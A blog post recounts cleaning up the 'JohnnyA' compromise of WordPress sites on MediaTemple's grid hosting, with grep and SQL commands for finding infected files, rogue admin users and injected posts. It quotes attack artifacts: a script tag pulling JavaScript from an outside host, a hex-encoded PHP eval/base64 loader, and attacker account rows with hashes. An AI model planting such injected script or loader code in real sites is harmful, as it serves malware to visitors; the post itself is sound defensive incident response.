JohnnyA Hack on MediaTemple grid server

Noticed malware warning messages thanks to Google Safe Browsing, when viewing several of my websites hosted on MediaTemple’s Grid Server (gs) account.

Did some searching & found it’s a widespread attack on MediaTemple. MediaTemple lets (gs) customers host up to 100 domains under one account for the low-low price of $20/month … pretty great, until you have to figure out the path of entry for a hacker.

Although thankfully so far it’s not actually destructive, the “JohnnyA” hack is a mess (like any good hack!):

  • Javascript files had malicious obfuscated code inserted at the top of the compromised files. For my site the hackers targeted the jQuery library, jQuery plugins (corner, impromptu, etc), & swfobject.js that came bundled in the cu3er WordPress theme.
  • PHP files of 5298 bytes were spread all throughout the site structure, named for Unix functions: chmod.php, closedir.php, content.php, eregi.php, fclose.php, fopen.php, fwrite.php, is_file.php, is_writable.php …. all were located under html/ (not cgi-bin/) so they were especially easy to locate & delete.
  • WordPress default theme index.php & footer.php (someone else mentioned their header.php was also compromised) had malicious Javascript code added.
  • WordPress posts had malicious code added to the top:
    <h5><script src="http://maroon.karenegren.com/js/jquery.min.js"></script></h5>
  • WordPress databases had “johnnyA” & “WordPress” admin users added to the wp_users table, as well as entries under wp_metauser with what looks like some sort of evil admin interface HTML/Javascript code. Here is my hacked WP users table:
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+
    | ID | user_login | user_pass                          | user_nicename | user_email                | user_url | user_registered     | user_activation_key | user_status | display_name |
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+
    | 14 | johnnyA    | $P$BWrPjMxeckS8Qjhhd.3CqhhpM5c5G3/ | John          | sarkonerr@gmail.com       |          | 0000-00-00 00:00:00 |                     |           0 | John         |
    | 12 | WordPress  | 3e04a6d10c88e6f5818a2a4151f9a95c   | WordPress     | www@www.com               | www.com  | 0000-00-00 00:00:00 |                     |           0 | WordPress    |
    |  1 | admin      | [censored]                         | admin         | [censored]                | http://  | 2006-10-23 13:24:13 |                     |           0 | netscraps    |
    +----+------------+------------------------------------+---------------+---------------------------+----------+---------------------+---------------------+-------------+--------------+

Cleanup took awhile — see below. I also changed my MediaTemple AccountCenter password, my user (SSH/SFTP) account passwords, database passwords, moved all my WordPress installations off to a new, completely separate (not linked in AccountCenter) MediaTemple grid server account, & signed up for Sucuri’s website malware monitoring service …. because of all the recent hack problems, MediaTemple customers receive a discount. Great. Here’s hoping it catches any hacks before Google Safe Browsing does.

The posts below have a lot of information on various ways to scan for the compromised files but so far I haven’t seen anything definitive in terms of how to prevent this all from happening again. Definitely read the posted comments too:

Here are the steps I took to remove the exploits:

Find compromised Javascript files:

  • find . -name "*.js" -exec grep -l "gr0=0" {} \;
  • find . -name "*.js" -exec grep -l "this.n=3279;this.O=58441;" {} \;

… Both searches returned the same results for me. The evil Javascript was the top line of each file, very long mostly obfuscated code ending with var gr0=0; The evil top line didn’t have its own newline character at the end, so be careful not to remove the ENTIRE top line without checking first that you’re not removing legitimate code way at the end of the line.

Find evil PHP files:

  • grep -iR --include "*.php" "[a-zA-Z0-9\/\+]\{255,\}" *
    This search may show false positives. Look for matches that look like:
    <?php $o = '[random characters here];eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B"); ?>
  • Another way to check is:
    find . -name "*.php" -ctime 14
    …which shows a list of .php files where the timestamp is within the last 14 days.
  • If the file is 5298 bytes, chances are the entire file is junk & you can delete it.
  • Otherwise if the file is something that was pre-existing (like WordPress theme header.php, index.php etc) you’ll have to edit it & remove the bad code by hand or better yet, replace the entire compromised file with a clean version from a backup or original distribution.

Find evil WordPress users:

  • You’ll need mySQL access to your WordPress database for this. You are on your own there.
  • use dbxxxxxx_wp; (whatever your WordPress database is named)
  • select * from wp_users; (note the id for all users you don’t recognize)
  • delete from wp_users where id = 'xx'; (replace xx with the id, & remember each one you delete)
  • delete from wp_usermeta where user_id = 'xx' (do this once for each userid you deleted above)

Find evil WordPress posts:

  • select post_content from wp_posts where post_content like '%<h5><script%';
  • update wp_posts set post_content = replace( post_content, "<h5>script here</h5>", ""); …run this once for each unique script found above, replacing “script here” with the actual script tag.
This entry was posted in bugs, MediaTemple, mysql. Bookmark the permalink.

One Response to JohnnyA Hack on MediaTemple grid server

  1. Derek Pennycuff says:

    A buddy of mine just got hacked, again. Last time it was the redirect exploit with the script inserted at the end of each entry. A pain, but relatively easy to identify and fix. This is something new and does involve a new user account. Hopefully the info you’ve published here will help him get back on track. It’s vitally important at times like this that community members share what we find. This entry is the only lead I could find on this new exploit. Most results were still talking about the redirect exploit. Even if this most recent hack proves not to be JohnnyA it’s very comforting to at least have an idea of what to check for. Thanks so much for posting this.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>